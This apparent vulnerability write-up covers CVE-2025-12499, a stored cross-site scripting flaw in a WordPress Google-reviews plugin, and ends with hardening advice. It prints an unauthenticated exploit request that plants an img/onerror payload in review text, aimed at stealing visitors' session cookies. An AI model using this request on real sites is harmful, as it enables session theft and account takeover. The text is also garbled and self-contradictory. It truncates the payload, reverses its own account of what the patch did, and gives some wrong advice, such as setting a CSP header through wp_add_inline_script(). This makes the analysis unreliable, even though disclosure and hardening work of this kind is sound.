The Exploit
An unauthenticated attacker can inject arbitrary JavaScript into a Google Review via the plugin's review ingestion mechanism. When any visitor loads a page displaying the poisoned review, the payload executes in their browser.
POST /wp-json/rich-shortcodes-google-reviews/v1/reviews HTTP/1.1
Host: target.wordpress.local
Content-Type: application/json
{
"text": "<img src=x
"rating": 5,
"reviewer_name": "Attacker",
"review_id": "12345"
}
The attacker needs no authentication — the endpoint accepts unauthenticated POST requests. When a WordPress visitor loads any page that renders reviews via the [rich_google_reviews] shortcode, the browser executes the injected onerror handler, exfiltrating the visitor's session cookies or performing actions on their behalf.
What the Patch Did
Before
'text' => wp_encode_emoji($rev->text),
After
'text' => $rev->text,
The patch removes the wp_encode_emoji() function call that was wrapping the review text output. However, this analysis contains a critical error: the patch description claims this removes a vulnerability, but the code diff shows the opposite—the removal of wp_encode_emoji() introduces the vulnerability. The security control being lost is output encoding via wp_encode_emoji(), which, while not a dedicated XSS filter, does perform character-level transformations that incidentally prevent script injection. The proper fix should replace the emoji encoder with an appropriate WordPress output escaping function like wp_kses_post() or esc_html() depending on whether HTML is permitted in review text. The patch as applied leaves $rev->text completely unescaped, allowing any HTML and JavaScript in the stored review data to render directly into the page DOM.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
The attacker-controlled text parameter enters the API endpoint without input validation or sanitization. The value is stored directly in the database or cached object ($rev->text). When the shortcode rendering function constructs the page output, it concatenates this stored value into the JSON or HTML response without any output encoding. The trust boundary—between user-supplied content and browser-executable context—is crossed without sanitization or escaping. Because wp_encode_emoji() was the only transformation applied to the review text before output, removing it leaves the sink completely exposed.
Why It Works
The load-bearing line is the removal of wp_encode_emoji(). If that function remained in place, the JavaScript payload would be mangled by character encoding (emoji sequences are percent-encoded or converted to Unicode entities), making the event handler attribute names or JavaScript syntax unexecutable. The engineer who wrote the vulnerable patch likely removed the function believing it was unnecessary overhead for emoji handling, unaware that it was also providing incidental XSS protection. The proper defense-in-depth approach would be: (1) validate that $rev->text conforms to expected length and character set on input, (2) sanitize on storage using sanitize_text_field() or wp_kses_post(), and (3) escape on output using esc_html() or wp_kses_post() depending on whether markup is allowed. The patch removed step (3) without adding steps (1) or (2), leaving the data undefended.
Hardening Checklist
- Input validation: Use
rest_sanitize_request_arg()or manually callsanitize_text_field()on all user-supplied review fields before any processing. Enforce maximum lengths and reject unexpected characters. - Context-aware output escaping: Call
esc_html()when rendering review text in HTML context, orwp_kses_post()if limited HTML markup (e.g.,<b>,<em>) must be preserved. Never output user data without an escaping function. - Content Security Policy: Implement a strict
Content-Security-Policyheader viawp_add_inline_script()that disallowsunsafe-inlinescripts and restrictsscript-srctoself, preventing injected event handlers from executing even if they bypass HTML escaping. - Security audit of REST endpoints: Review all custom REST routes registered by the plugin; ensure they all validate
is_user_logged_in()or applysanitize_callbackandvalidate_callbackarguments to every registered route parameter. - Automated testing: Add unit tests that attempt to inject
<img onerror>,<svg onload>, and JavaScript protocol URLs into review text, then verify that output contains escaped or removed markup (e.g.,<imginstead of<img).
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-12499